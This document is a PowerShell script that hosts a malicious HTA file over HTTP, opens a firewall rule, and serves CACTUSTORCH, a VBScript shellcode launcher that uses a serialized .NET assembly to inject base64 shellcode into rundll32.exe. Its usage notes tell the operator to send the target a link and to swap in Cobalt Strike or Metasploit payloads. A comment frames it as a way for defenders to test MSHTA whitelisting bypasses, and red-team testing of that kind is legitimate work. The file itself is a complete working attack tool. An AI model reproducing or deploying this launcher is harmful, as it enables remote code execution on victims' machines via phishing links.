|
<# |
|
Simply Invoke the Script and send the target a link to http://192.168.1.1/app.hta |
|
To change your server, simply find and replace 192.168.1.1 with your server in the code. |
|
|
|
#> |
|
|
|
<# |
|
Moving Credtis for CACTUSTORCH HERE |
|
I was in escape sequcence hell ;-) |
|
' ( ) ( ) |
|
' ( ( ( * ) )\ ) * ) ( /( )\ ) ( ( /( |
|
' )\ )\ )\ ` ) /( ( (()/(` ) /( )\())(()/( )\ )\()) |
|
' (((_|(((_)( (((_) ( )(_)) )\ /(_))( )(_)|(_)\ /(_)|((_)((_)\ |
|
' )\___)\ _ )\ )\___(_(_())_ ((_|_)) (_(_()) ((_)(_)) )\___ _((_) |
|
'((/ __(_)_\(_|(/ __|_ _| | | / __||_ _| / _ \| _ ((/ __| || | |
|
' | (__ / _ \ | (__ | | | |_| \__ \ | | | (_) | /| (__| __ | |
|
' \___/_/ \_\ \___| |_| \___/|___/ |_| \___/|_|_\ \___|_||_| |
|
' |
|
' Author: Vincent Yiu (@vysecurity) |
|
' Credits: |
|
' - @cn33liz: Inspiration with StarFighter |
|
' - @tiraniddo: James Forshaw for DotNet2JScript |
|
' - @armitagehacker: Raphael Mudge for idea of selecting 32 bit version on 64 bit architecture machines for injection into |
|
|
|
' A HTA shellcode launcher. This will spawn a 32 bit version of the binary specified and inject shellcode into it. |
|
|
|
' Usage: |
|
' Choose a binary you want to inject into, default "rundll32.exe", you can use notepad.exe, calc.exe for example... |
|
' Generate a 32 bit raw shellcode in whatever framework you want. Tested: Cobalt Strike, Metasploit Framework |
|
' Run: cat payload.bin | base64 -w 0 |
|
' Copy the base64 encoded payload into the code variable below. |
|
|
|
' Replace with binary name that you want to inject into. This can be anything that exists both in SYSWOW64 and SYSTEM32 |
|
|
|
|
|
#> |
|
|
|
|
|
function Receive-Request { |
|
param( |
|
$Request |
|
) |
|
$output = "" |
|
$size = $Request.ContentLength64 + 1 |
|
$buffer = New-Object byte[] $size |
|
do { |
|
$count = $Request.InputStream.Read($buffer, 0, $size) |
|
$output += $Request.ContentEncoding.GetString($buffer, 0, $count) |
|
} until($count -lt $size) |
|
$Request.InputStream.Close() |
|
write-host $output |
|
} |
|
|
|
$listener = New-Object System.Net.HttpListener |
|
$listener.Prefixes.Add('http://+:80/') |
|
|
|
netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null |
|
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null |
|
|
|
$listener.Start() |
|
'Listening ...' |
|
while ($true) { |
|
$context = $listener.GetContext() # blocks until request is received |
|
$request = $context.Request |
|
$response = $context.Response |
|
$hostip = $request.RemoteEndPoint |
|
#Use this for One-Liner Start |
|
|
|
if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) { |
|
$enc = [system.Text.Encoding]::UTF8 |
|
$response.ContentType = 'application/hta' |
|
$htacode = '<html> |
|
<!-- All comments removed for simplicity, credits moved to PS comment block --> |
|
<!-- Inspired by Chris Spehn blog here https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-mshta-exe/ --> |
|
<!-- Wanted to provide defenders and a quick way to test remote MSHTA in a minimalist way. --> |
|
<head> |
|
<script language="VBScript"> |
|
|
|
Dim binary : binary = "rundll32.exe" |
|
Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==" |
|
|
|
|
|
|
|
Sub Debug(s) |
|
End Sub |
|
Sub SetVersion |
|
End Sub |
|
Function Base64ToStream(b) |
|
Dim enc, length, ba, transform, ms |
|
Set enc = CreateObject("System.Text.ASCIIEncoding") |
|
length = enc.GetByteCount_2(b) |
|
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") |
|
Set ms = CreateObject("System.IO.MemoryStream") |
|
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) |
|
ms.Position = 0 |
|
Set Base64ToStream = ms |
|
End Function |
|
|
|
Sub Run |
|
Dim s, entry_class |
|
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" |
|
s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" |
|
s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk" |
|
s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD" |
|
s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl" |
|
s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU" |
|
s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl" |
|
s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90" |
|
s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu" |
|
s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"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gl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK" |
|
s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK" |
|
s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA" |
|
s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC" |
|
s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP" |
|
s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj" |
|
s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB" |
|
s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA" |
|
s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF" |
|
s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG" |
|
s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I" |
|
s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK" |
|
s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAA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AzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA" |
|
s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA" |
|
s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB" |
|
s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG" |
|
s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ" |
|
s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA" |
|
s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ" |
|
s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA" |
|
s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ" |
|
s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB" |
|
s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu" |
|
s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA" |
|
s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBw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lAEkAbgBmAG8AAAAAACQA" |
|
s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs" |
|
s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA" |
|
s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA" |
|
s = s & "AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA" |
|
s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu" |
|
s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA" |
|
s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV" |
|
s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA" |
|
s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP" |
|
s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA" |
|
s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw" |
|
s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA" |
|
s = s & "LgAwAC4AMAAAAAAAAA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SBMb2FkKEJ5dGVbXSkIAAAACgsA" |
|
entry_class = "cactusTorch" |
|
|
|
Dim fmt, al, d, o |
|
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") |
|
Set al = CreateObject("System.Collections.ArrayList") |
|
al.Add fmt.SurrogateSelector |
|
|
|
Set d = fmt.Deserialize_2(Base64ToStream(s)) |
|
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) |
|
o.flame binary,code |
|
End Sub |
|
|
|
SetVersion |
|
On Error Resume Next |
|
Run |
|
If Err.Number <> 0 Then |
|
Debug Err.Description |
|
Err.Clear |
|
End If |
|
|
|
self.close |
|
</script> |
|
</head> |
|
<body> |
|
<script>self.close(); |
|
</body> |
|
</html>' |
|
|
|
$buffer = $enc.GetBytes($htacode) |
|
$response.ContentLength64 = $buffer.length |
|
$output = $response.OutputStream |
|
$output.Write($buffer, 0, $buffer.length) |
|
$output.Close() |
|
continue |
|
} |
|
|
|
|
|
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) |
|
$response.ContentLength64 = $buffer.length |
|
$output = $response.OutputStream |
|
$output.Write($buffer, 0, $buffer.length) |
|
$output.Close() |
|
} |
|
|
|
$listener.Stop() |